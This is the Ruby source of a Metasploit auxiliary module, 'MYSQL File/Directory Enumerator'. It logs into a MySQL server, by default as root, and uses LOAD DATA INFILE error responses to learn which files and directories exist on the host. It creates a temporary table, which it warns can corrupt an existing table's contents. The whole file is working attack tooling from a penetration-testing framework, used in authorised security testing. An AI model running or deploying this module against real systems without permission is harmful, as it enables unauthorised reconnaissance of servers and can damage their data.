127 lines
3.9 KiB
Ruby
127 lines
3.9 KiB
Ruby
##
|
|
# This module requires Metasploit: https://metasploit.com/download
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
|
##
|
|
|
|
require 'yaml'
|
|
|
|
class MetasploitModule < Msf::Auxiliary
|
|
include Msf::Exploit::Remote::MYSQL
|
|
include Msf::Auxiliary::Report
|
|
include Msf::Auxiliary::Scanner
|
|
|
|
def initialize
|
|
super(
|
|
'Name' => 'MYSQL File/Directory Enumerator',
|
|
'Description' => %Q{
|
|
Enumerate files and directories using the MySQL load_file feature, for more
|
|
information see the URL in the references.
|
|
},
|
|
'Author' => [ 'Robin Wood <robin[at]digininja.org>' ],
|
|
'References' => [
|
|
[ 'URL', 'http://pauldotcom.com/2013/01/mysql-file-system-enumeration.html' ],
|
|
[ 'URL', 'http://www.digininja.org/projects/mysql_file_enum.php' ]
|
|
],
|
|
'License' => MSF_LICENSE
|
|
)
|
|
|
|
register_options([
|
|
OptPath.new('FILE_LIST', [ true, "List of directories to enumerate", '' ]),
|
|
OptString.new('DATABASE_NAME', [ true, "Name of database to use", 'mysql' ]),
|
|
OptString.new('TABLE_NAME', [ true, "Name of table to use - Warning, if the table already exists its contents will be corrupted", Rex::Text.rand_text_alpha(8) ]),
|
|
OptString.new('USERNAME', [ true, 'The username to authenticate as', "root" ])
|
|
])
|
|
|
|
end
|
|
|
|
# This function does not handle any errors, if you use this
|
|
# make sure you handle the errors yourself
|
|
def mysql_query_no_handle(sql)
|
|
res = @mysql_handle.query(sql)
|
|
res
|
|
end
|
|
|
|
def run_host(ip)
|
|
vprint_status("Login...")
|
|
|
|
if (not mysql_login_datastore)
|
|
return
|
|
end
|
|
|
|
begin
|
|
mysql_query_no_handle("USE " + datastore['DATABASE_NAME'])
|
|
rescue ::RbMysql::Error => e
|
|
vprint_error("MySQL Error: #{e.class} #{e.to_s}")
|
|
return
|
|
rescue Rex::ConnectionTimeout => e
|
|
vprint_error("Timeout: #{e.message}")
|
|
return
|
|
end
|
|
|
|
res = mysql_query("SELECT * FROM information_schema.TABLES WHERE TABLE_SCHEMA = '" + datastore['DATABASE_NAME'] + "' AND TABLE_NAME = '" + datastore['TABLE_NAME'] + "';")
|
|
table_exists = (res.size == 1)
|
|
|
|
if !table_exists
|
|
vprint_status("Table doesn't exist so creating it")
|
|
mysql_query("CREATE TABLE " + datastore['TABLE_NAME'] + " (brute int);")
|
|
end
|
|
|
|
file = File.new(datastore['FILE_LIST'], "r")
|
|
file.each_line do |line|
|
|
check_dir(line.chomp)
|
|
end
|
|
file.close
|
|
|
|
if !table_exists
|
|
vprint_status("Cleaning up the temp table")
|
|
mysql_query("DROP TABLE " + datastore['TABLE_NAME'])
|
|
end
|
|
end
|
|
|
|
def check_dir dir
|
|
begin
|
|
res = mysql_query_no_handle("LOAD DATA INFILE '" + dir + "' INTO TABLE " + datastore['TABLE_NAME'])
|
|
rescue ::RbMysql::TextfileNotReadable
|
|
print_good("#{dir} is a directory and exists")
|
|
report_note(
|
|
:host => rhost,
|
|
:type => "filesystem.dir",
|
|
:data => "#{dir} is a directory and exists",
|
|
:port => rport,
|
|
:proto => 'tcp',
|
|
:update => :unique_data
|
|
)
|
|
rescue ::RbMysql::DataTooLong, ::RbMysql::TruncatedWrongValueForField
|
|
print_good("#{dir} is a file and exists")
|
|
report_note(
|
|
:host => rhost,
|
|
:type => "filesystem.file",
|
|
:data => "#{dir} is a file and exists",
|
|
:port => rport,
|
|
:proto => 'tcp',
|
|
:update => :unique_data
|
|
)
|
|
rescue ::RbMysql::ServerError
|
|
vprint_warning("#{dir} does not exist")
|
|
rescue ::RbMysql::Error => e
|
|
vprint_error("MySQL Error: #{e.class} #{e.to_s}")
|
|
return
|
|
rescue Rex::ConnectionTimeout => e
|
|
vprint_error("Timeout: #{e.message}")
|
|
return
|
|
else
|
|
print_good("#{dir} is a file and exists")
|
|
report_note(
|
|
:host => rhost,
|
|
:type => "filesystem.file",
|
|
:data => "#{dir} is a file and exists",
|
|
:port => rport,
|
|
:proto => 'tcp',
|
|
:update => :unique_data
|
|
)
|
|
end
|
|
|
|
return
|
|
end
|
|
end
|